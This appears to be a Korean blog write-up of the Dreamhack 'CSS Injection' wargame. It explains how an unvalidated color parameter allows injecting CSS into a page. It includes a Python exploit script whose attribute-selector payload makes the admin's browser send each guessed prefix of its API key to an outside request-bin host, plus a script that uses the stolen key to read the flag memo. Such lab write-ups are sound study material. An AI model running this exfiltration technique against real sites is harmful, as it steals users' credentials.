본문 바로가기

카테고리 없음

dreamhack CSS Injection

728x90

XSS는 script를 삽입해서 공격하는 방식

이와 비슷한 방식으로 style sheet의 CSS를 삽입해서 공격하는 방식이 CSS Injection이다.

문제 접속 시 메인 화면이다.

 

flag는 admin이 작성한 메모에 기록됐다.

admin 메모에 기록된 내용을 획득해야하는데, admin의 메모를 읽으려면 admin 계정의 API_KEY가 필요하다.

 

/report를 제출하면 전달한 path 를 검증하고 admin이 전달한 path로 접속

 

공격 대상인 admin이 로그인하고 path에 접속

 

context_prosessor 코드

- 배경 색을 color 파라미터로 지정

 

<style> body{ background-color: {{ color }}; } </style>

전달한 color 파라미터는 위와 같은 CSS 코드인 사용되어 background-color로 적용

 

/api.memo를 이용하면 uid로 지정한 사용자의 메모 확인 가능

apikey_required() 실행 시  API-KEY를 통해 실사용자가 맞는지 검증 수행

 

회원가입 > 로그인

 

/mypage 에서 API-KEY 확인

 

admin의 API-KEY를 탈취해야하는데, /report 기능과 color 파라미터를 이용해서 CSS Injection이 가능하다.

 

CSS 코드를 보면 color 파라미터를 지정해서 background-color가 생성된다.

color에 대한 검증이 없는 걸 이용해 <style> 태그 내용을 조작할 수 있다.

> API-KEY가 조건의 문자여롸 일치하면 API-KEY를 C2 서버로 전송하도록 payload를 작성할 수 있다.

 

import requests, string
 
URL = "http://host3.dreamhack.games:21904/report"
curr= ""
 
for token in string.ascii_lowercase: 
    data = {"path":"mypage?color=white;} input[id=InputApitoken][value^="+curr+token+"] {background: url(https://bsompbj.request.dreamhack.games/"+curr+token+");"}
    response = requests.post(URL, data=data)
    print(f"'{token}': Status {response.status_code}")

공격자의 C2 서버로 admin의 API-KEY를 전송하는 exploit 코드

- 페이로드는 쿼리값으로 mypage에 접근해서 지정한 서버로 ping을 보내도록 한다.

- 특수문자 등에 대한 필터링이 전혀 없으므로, 형식만 잘 신경써서 요청을 보내면 된다. 

- inputApitoken의 value 값이 가장 첫 글자부터 하나씩 가져올 것이다. 

- selector 2개를 통해 id와 value값을 지정해주는데, value의 경우 알게 된 문자열 + 시도 문자의 형식으로  token을 알아내도록 할 것이다. -> selector 형식: [attr=value] / [attr^=value]

 

이렇게 하나하나 확인...

 

한 글자씩 확인...

curr에 직접 추가하면서 한 글자 씩 알아냈다.

 

import requests
 
URL = "http://host3.dreamhack.games:19746/api/memo"
TOKEN = "rrlmnnfo"
 
headers = {
    "API-KEY": TOKEN
}
 
response = requests.get(URL, headers=headers)
 
# 응답 확인
if response.status_code == 200:
    print("Request successful!")
    response_data = response.json()
    if response_data['code'] == 200:
        # 메모 데이터 파싱 및 출력
        memos = response_data['memo']
        for memo in memos:
            print(f"Memo index: {memo['idx']}, Memo content: {memo['memo']}")
    else:
        print(f"Error: {response_data['message']}")
else:
    print(f"Failed to fetch data. Status code: {response.status_code}")

 

토큰값을 가지고 api/memo에 요청을 보내어 내용을 파싱해서 플래그값을 추출

 

 

 

https://dreamhack.io/wargame/challenges/421

 

CSS Injection

Description Exercise: CSS Injection에서 실습하는 문제입니다. 문제 수정 내역 2023.08.09 Dockerfile 및 bot 일부 수정 2023.11.27 main.py 및 requirements.txt 수정

dreamhack.io

 

728x90